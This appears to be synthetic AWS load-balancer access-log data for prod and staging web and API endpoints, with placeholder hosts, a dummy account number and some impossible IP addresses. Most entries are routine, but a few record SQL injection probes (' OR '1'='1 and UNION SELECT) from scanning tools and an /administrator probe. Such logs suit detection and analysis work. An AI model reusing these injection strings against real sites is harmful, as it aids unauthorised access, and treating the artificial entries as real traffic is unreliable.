ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d679-49adba6955084220a4fa0736" "prod-web-alb.example.com" "-" 10 2024-11-01T02:11:53.741083Z "forward" "-" "-" "10.0.197.51:443" "200" "-" "-" -https 2024-11-01T02:11:55.731490Z staging-alb 18.44.130.95:60180 30.198.250.144:80 0.087305 0.505171 0.069390 200 200 147 9402 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d67b-71210e72f99a43a2af3e81bd" "staging-alb.example.com" "-" 5 2024-11-01T02:11:55.731490Z "forward" "-" "-" "30.198.250.144:80" "200" "-" "-" -https 2024-11-01T02:11:57.309503Z prod-api-alb 155.45.241.46:23368 10.0.161.140:443 0.085639 0.271396 0.058708 200 200 424 9398 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d67d-c68f462f7ced41b9ada737e4" "prod-api-alb.example.com" "-" 5 2024-11-01T02:11:57.309503Z "forward" "-" "-" "10.0.161.140:443" "200" "-" "-" -https 2024-11-01T02:11:58.333014Z prod-web-alb 93.157.233.7:38545 10.0.59.190:443 0.090840 0.330851 0.060683 200 200 150 3365 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d67e-3f6d1f4cbde3435d935a2419" "prod-web-alb.example.com" "-" 10 2024-11-01T02:11:58.333014Z "forward" "-" "-" "10.0.59.190:443" "200" "-" "-" -https 2024-11-01T02:11:58.743508Z prod-web-alb 139.129.236.87:37976 10.0.153.28:443 0.018352 0.373789 0.097399 200 200 509 2111 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d67e-5e76fd57e1a648de8073d621" "prod-web-alb.example.com" "-" 7 2024-11-01T02:11:58.743508Z "forward" "-" "-" "10.0.153.28:443" "200" "-" "-" -https 2024-11-01T02:11:59.531559Z prod-web-alb 29.199.35.120:43372 10.0.167.38:443 0.050450 0.210519 0.060645 200 200 291 13347 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d67f-668e7dc3bc574e4faa464fa2" "prod-web-alb.example.com" "-" 2 2024-11-01T02:11:59.531559Z "forward" "-" "-" "10.0.167.38:443" "200" "-" "-" -https 2024-11-01T02:12:01.041957Z prod-web-alb 1.124.148.2:61873 10.0.222.15:443 0.006315 0.448777 0.048118 200 200 50 7818 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d681-d80266f8f3d34309874dfe5b" "prod-web-alb.example.com" "-" 1 2024-11-01T02:12:01.041957Z "forward" "-" "-" "10.0.222.15:443" "200" "-" "-" -https 2024-11-01T02:12:02.011166Z prod-web-alb 193.27.228.135:61056 10.0.191.113:443 0.086494 0.079131 0.017192 200 200 873 6847 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d682-4cf4e1208eca4da3899a6cd1" "-" "-" 5 2024-11-01T02:12:02.011166Z "forward" "-" "-" "10.0.191.113:443" "200" "-" "-" -https 2024-11-01T02:12:03.679331Z prod-web-alb 32.135.6.178:62101 10.0.115.13:443 0.093186 0.333011 0.054136 200 200 357 5511 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d683-1ae4e5da7ae348e2a1e0fdb0" "prod-web-alb.example.com" "-" 10 2024-11-01T02:12:03.679331Z "forward" "-" "-" "10.0.115.13:443" "200" "-" "-" -https 2024-11-01T02:12:04.657006Z prod-api-alb 22.253.67.253:42542 10.0.19.10:443 0.068420 0.291710 0.044364 200 200 497 6948 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d684-7bf03564b0cd4abf867932db" "prod-api-alb.example.com" "-" 6 2024-11-01T02:12:04.657006Z "forward" "-" "-" "10.0.19.10:443" "200" "-" "-" -https 2024-11-01T02:12:05.025229Z prod-web-alb 211.47.154.28:27720 10.0.67.144:443 0.093040 0.236152 0.062296 200 200 831 9926 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d685-54f36f2fdc0a4a9b8df5d588" "prod-web-alb.example.com" "-" 8 2024-11-01T02:12:05.025229Z "forward" "-" "-" "10.0.67.144:443" "200" "-" "-" -http 2024-11-01T02:12:06.539422Z staging-alb 185.181.15.100:56335 145.206.208.35:8080 0.015891 0.214836 0.071401 401 401 54 10925 "GET /administrator HTTP/1.1" "" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d686-13504998970945cfa5e9345c" "-" "-" 9 2024-11-01T02:12:06.539422Z "forward" "-" "-" "145.206.208.35:8080" "401" "-" "-" -http 2024-11-01T02:12:07.745243Z staging-alb 254.247.183.247:24193 230.105.151.1:8080 0.003310 0.492800 0.069633 200 200 444 605 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d687-04284daa3d394422a3f5a531" "staging-alb.example.com" "-" 2 2024-11-01T02:12:07.745243Z "forward" "-" "-" "230.105.151.1:8080" "200" "-" "-" -https 2024-11-01T02:12:08.011962Z prod-api-alb 87.201.90.61:55664 10.0.252.58:443 0.003913 0.280691 0.099150 200 200 727 5869 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d688-afaacaed82614134a44512fd" "prod-api-alb.example.com" "-" 4 2024-11-01T02:12:08.011962Z "forward" "-" "-" "10.0.252.58:443" "200" "-" "-" -https 2024-11-01T02:12:08.621210Z prod-api-alb 235.70.202.134:19453 10.0.48.149:443 0.077019 0.411818 0.075830 302 302 481 10330 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d688-5ccf0db2360544f394451255" "prod-api-alb.example.com" "-" 1 2024-11-01T02:12:08.621210Z "forward" "-" "-" "10.0.48.149:443" "302" "-" "-" -http 2024-11-01T02:12:09.134385Z staging-alb 56.103.11.168:24870 67.175.32.9:80 0.037642 0.656736 0.068458 200 200 955 9314 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d689-58ca6834c8df410f823327f2" "staging-alb.example.com" "-" 10 2024-11-01T02:12:09.134385Z "forward" "-" "-" "67.175.32.9:80" "200" "-" "-" -https 2024-11-01T02:12:10.553232Z prod-web-alb 194.141.254.224:30137 10.0.148.102:443 0.093789 0.085172 0.035514 200 200 545 14366 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d68a-2c8003fdcad5403eb8277cd0" "-" "-" 5 2024-11-01T02:12:10.553232Z "forward" "-" "-" "10.0.148.102:443" "200" "-" "-" -https 2024-11-01T02:12:11.099483Z prod-api-alb 30.174.7.58:54284 10.0.30.118:443 0.025539 0.034354 0.067421 302 302 915 10675 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d68b-70665ab6826745ea9521b104" "prod-api-alb.example.com" "-" 9 2024-11-01T02:12:11.099483Z "forward" "-" "-" "10.0.30.118:443" "302" "-" "-" -https 2024-11-01T02:12:12.394810Z prod-api-alb 250.25.32.233:56539 10.0.10.131:443 0.077134 0.100736 0.090935 404 404 183 2280 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d68c-644f90cc51d34f5c8ba2aaa8" "prod-api-alb.example.com" "-" 8 2024-11-01T02:12:12.394810Z "forward" "-" "-" "10.0.10.131:443" "404" "-" "-" -https 2024-11-01T02:12:14.174939Z prod-web-alb 52.153.135.141:59512 10.0.2.33:443 0.081438 0.453641 0.051039 200 200 239 11702 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d68e-51848f43478f4fc68fdc71b5" "prod-web-alb.example.com" "-" 10 2024-11-01T02:12:14.174939Z "forward" "-" "-" "10.0.2.33:443" "200" "-" "-" -https 2024-11-01T02:12:15.962063Z prod-web-alb 99.194.216.7:54548 10.0.135.169:443 0.094695 0.215833 0.094362 302 302 888 10812 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d68f-c9216a5fec8648e1a1111b97" "prod-web-alb.example.com" "-" 0 2024-11-01T02:12:15.962063Z "forward" "-" "-" "10.0.135.169:443" "302" "-" "-" -https 2024-11-01T02:12:17.062111Z prod-api-alb 139.199.219.92:30933 10.0.210.248:443 0.078537 0.104483 0.028989 301 301 107 1655 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d691-981900485e0f4594b77f10ac" "prod-api-alb.example.com" "-" 8 2024-11-01T02:12:17.062111Z "forward" "-" "-" "10.0.210.248:443" "301" "-" "-" -https 2024-11-01T02:12:18.085360Z prod-web-alb 15.251.103.71:46103 10.0.199.176:443 0.031760 0.221769 0.062802 302 302 483 2861 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d692-147e245b9172478f914f32de" "prod-web-alb.example.com" "-" 5 2024-11-01T02:12:18.085360Z "forward" "-" "-" "10.0.199.176:443" "302" "-" "-" -https 2024-11-01T02:12:19.891311Z prod-web-alb 34.104.153.199:58122 10.0.146.210:443 0.041637 0.382606 0.005826 200 200 941 3922 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d693-2c06f0716f734470910165fd" "prod-web-alb.example.com" "-" 3 2024-11-01T02:12:19.891311Z "forward" "-" "-" "10.0.146.210:443" "200" "-" "-" -https 2024-11-01T02:12:21.245248Z prod-api-alb 19.232.183.216:62574 10.0.245.63:443 0.085525 0.457609 0.028762 200 200 250 11239 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d695-0bb01eff86a14af78bbf729b" "prod-api-alb.example.com" "-" 7 2024-11-01T02:12:21.245248Z "forward" "-" "-" "10.0.245.63:443" "200" "-" "-" -https 2024-11-01T02:12:21.731979Z prod-api-alb 33.174.26.255:16963 10.0.251.216:443 0.073037 0.055929 0.043011 200 200 792 11881 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d695-190d227a43514be0a3f67749" "prod-api-alb.example.com" "-" 2 2024-11-01T02:12:21.731979Z "forward" "-" "-" "10.0.251.216:443" "200" "-" "-" -https 2024-11-01T02:12:22.373908Z prod-web-alb 56.217.15.17:58736 10.0.8.52:443 0.037359 0.234963 0.029909 200 200 868 1425 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d696-c04a48584e8b4fbdb806bf5c" "prod-web-alb.example.com" "-" 7 2024-11-01T02:12:22.373908Z "forward" "-" "-" "10.0.8.52:443" "200" "-" "-" -http 2024-11-01T02:12:23.831841Z staging-alb 80.44.142.153:18822 101.72.120.164:8080 0.049343 0.387297 0.123728 302 302 727 14795 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d697-9a545ad4a64b4d568c7524c5" "staging-alb.example.com" "-" 8 2024-11-01T02:12:23.831841Z "forward" "-" "-" "101.72.120.164:8080" "302" "-" "-" -https 2024-11-01T02:12:24.273162Z prod-web-alb 220.215.16.134:30274 10.0.221.98:443 0.041009 0.215207 0.065331 200 200 319 922 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d698-94f45ad16a384ac880ecefe5" "prod-web-alb.example.com" "-" 4 2024-11-01T02:12:24.273162Z "forward" "-" "-" "10.0.221.98:443" "200" "-" "-" -https 2024-11-01T02:12:25.825366Z prod-web-alb 132.146.241.147:30488 10.0.38.106:443 0.037133 0.496462 0.062190 301 301 371 6153 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d699-fc03aad6c54d4e60956c917e" "prod-web-alb.example.com" "-" 10 2024-11-01T02:12:25.825366Z "forward" "-" "-" "10.0.38.106:443" "301" "-" "-" -https 2024-11-01T02:12:26.932596Z prod-api-alb 182.68.43.226:52021 10.0.3.11:443 0.036662 0.394265 0.034124 404 404 402 10755 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d69a-02032ef01b404a23819b7c3c" "prod-api-alb.example.com" "-" 9 2024-11-01T02:12:26.932596Z "forward" "-" "-" "10.0.3.11:443" "404" "-" "-" -http 2024-11-01T02:12:27.458075Z staging-alb 124.31.234.102:37965 185.194.74.224:80 0.038590 0.293409 0.127020 301 301 122 14412 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d69b-c021bb7ef8e44c6d9942d453" "staging-alb.example.com" "-" 0 2024-11-01T02:12:27.458075Z "forward" "-" "-" "185.194.74.224:80" "301" "-" "-" -https 2024-11-01T02:12:29.018139Z prod-api-alb 20.122.251.12:19905 10.0.69.20:443 0.063939 0.070453 0.030879 200 200 862 8687 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d69d-b189d8d8b50643b6bd7ddf83" "prod-api-alb.example.com" "-" 9 2024-11-01T02:12:29.018139Z "forward" "-" "-" "10.0.69.20:443" "200" "-" "-" -https 2024-11-01T02:12:29.805398Z prod-web-alb 231.10.76.107:29024 10.0.173.238:443 0.005770 0.356496 0.088568 302 302 360 10889 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d69d-e77637f830d94e48999caeb1" "prod-web-alb.example.com" "-" 1 2024-11-01T02:12:29.805398Z "forward" "-" "-" "10.0.173.238:443" "302" "-" "-" -https 2024-11-01T02:12:31.434243Z prod-web-alb 45.155.205.170:26276 10.0.38.244:443 0.080199 0.261891 0.050545 500 500 600 7909 "GET /metrics HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d69f-f1106e7db0a04aa8bebd13f1" "-" "-" 2 2024-11-01T02:12:31.434243Z "forward" "-" "-" "10.0.38.244:443" "500" "-" "-" -http 2024-11-01T02:12:31.716804Z staging-alb 9.241.134.73:61700 207.121.251.231:8080 0.043447 0.747836 0.106502 302 302 305 2978 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d69f-2881bee1363e44be8172387e" "staging-alb.example.com" "-" 5 2024-11-01T02:12:31.716804Z "forward" "-" "-" "207.121.251.231:8080" "302" "-" "-" -https 2024-11-01T02:12:32.202172Z prod-web-alb 128.4.17.233:30518 10.0.148.6:443 0.024247 0.008665 0.083541 200 200 289 2510 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6a0-433bff145b034d89af318dfa" "prod-web-alb.example.com" "-" 2 2024-11-01T02:12:32.202172Z "forward" "-" "-" "10.0.148.6:443" "200" "-" "-" -http 2024-11-01T02:12:34.039451Z staging-alb 222.231.190.238:39172 75.86.234.159:80 0.103148 0.546842 0.112591 404 404 268 2650 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6a2-4a01000761b2443988aa3fa1" "staging-alb.example.com" "-" 5 2024-11-01T02:12:34.039451Z "forward" "-" "-" "75.86.234.159:80" "404" "-" "-" -http 2024-11-01T02:12:34.317671Z staging-alb 185.181.104.251:60299 130.12.138.9:443 0.030422 0.208230 0.046359 200 200 435 5263 "GET /search?q=1' UNION SELECT HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d6a2-9229e19b9d3647a28ce5b80f" "-" "-" 8 2024-11-01T02:12:34.317671Z "forward" "-" "-" "130.12.138.9:443" "200" "-" "-" -https 2024-11-01T02:12:35.603107Z staging-alb 203.231.75.110:10774 161.248.81.93:8080 0.069145 0.160756 0.093182 404 404 76 13598 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d6a3-f4f3cfb1b6d3484b87a78cc8" "staging-alb.example.com" "-" 10 2024-11-01T02:12:35.603107Z "forward" "-" "-" "161.248.81.93:8080" "404" "-" "-" -https 2024-11-01T02:12:36.658140Z prod-web-alb 118.29.135.137:15960 10.0.157.59:443 0.071913 0.281790 0.065847 200 200 402 5561 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6a4-e6f23f82b7d1415899f6c15e" "prod-web-alb.example.com" "-" 6 2024-11-01T02:12:36.658140Z "forward" "-" "-" "10.0.157.59:443" "200" "-" "-" -https 2024-11-01T02:12:37.451770Z prod-web-alb 237.3.148.59:23784 10.0.203.81:443 0.082951 0.348164 0.081221 301 301 310 3138 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6a5-708c05127ae84bc2b18a806f" "prod-web-alb.example.com" "-" 3 2024-11-01T02:12:37.451770Z "forward" "-" "-" "10.0.203.81:443" "301" "-" "-" -https 2024-11-01T02:12:37.682527Z prod-api-alb 199.219.180.56:13711 10.0.163.15:443 0.088925 0.006469 0.093008 200 200 839 8065 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d6a5-856b343cedbf4c939389af5f" "prod-api-alb.example.com" "-" 2 2024-11-01T02:12:37.682527Z "forward" "-" "-" "10.0.163.15:443" "200" "-" "-" -http 2024-11-01T02:12:39.570322Z staging-alb 145.134.247.243:54586 14.241.33.206:80 0.037901 0.576331 0.124378 301 301 367 6688 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6a7-2c506a04033447e78b39d409" "staging-alb.example.com" "-" 10 2024-11-01T02:12:39.570322Z "forward" "-" "-" "14.241.33.206:80" "301" "-" "-" -https 2024-11-01T02:12:39.748345Z prod-api-alb 85.111.188.92:51132 10.0.211.184:443 0.042258 0.227361 0.010776 200 200 875 5976 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d6a7-6828175a7cb0497bb8488a26" "prod-api-alb.example.com" "-" 2 2024-11-01T02:12:39.748345Z "forward" "-" "-" "10.0.211.184:443" "200" "-" "-" -https 2024-11-01T02:12:41.065029Z prod-web-alb 56.223.51.34:58121 10.0.149.31:443 0.085966 0.454184 0.064812 404 404 746 3321 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6a9-1a3e78bbf3bb499aa1175d90" "prod-web-alb.example.com" "-" 8 2024-11-01T02:12:41.065029Z "forward" "-" "-" "10.0.149.31:443" "404" "-" "-" -https 2024-11-01T02:12:42.391246Z prod-web-alb 90.146.243.176:14948 10.0.128.181:443 0.001303 0.464293 0.081416 200 200 285 10369 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6aa-3e72a0bb244740c38b8a9d04" "prod-web-alb.example.com" "-" 8 2024-11-01T02:12:42.391246Z "forward" "-" "-" "10.0.128.181:443" "200" "-" "-" -https 2024-11-01T02:12:42.646273Z prod-web-alb 140.221.88.20:40129 10.0.201.60:443 0.067741 0.444670 0.074015 200 200 951 10349 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6aa-979a62aaea1047508a861e85" "prod-web-alb.example.com" "-" 0 2024-11-01T02:12:42.646273Z "forward" "-" "-" "10.0.201.60:443" "200" "-" "-" -https 2024-11-01T02:12:43.075608Z prod-web-alb 126.249.173.245:11757 10.0.30.218:443 0.026328 0.154959 0.039401 200 200 528 14856 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 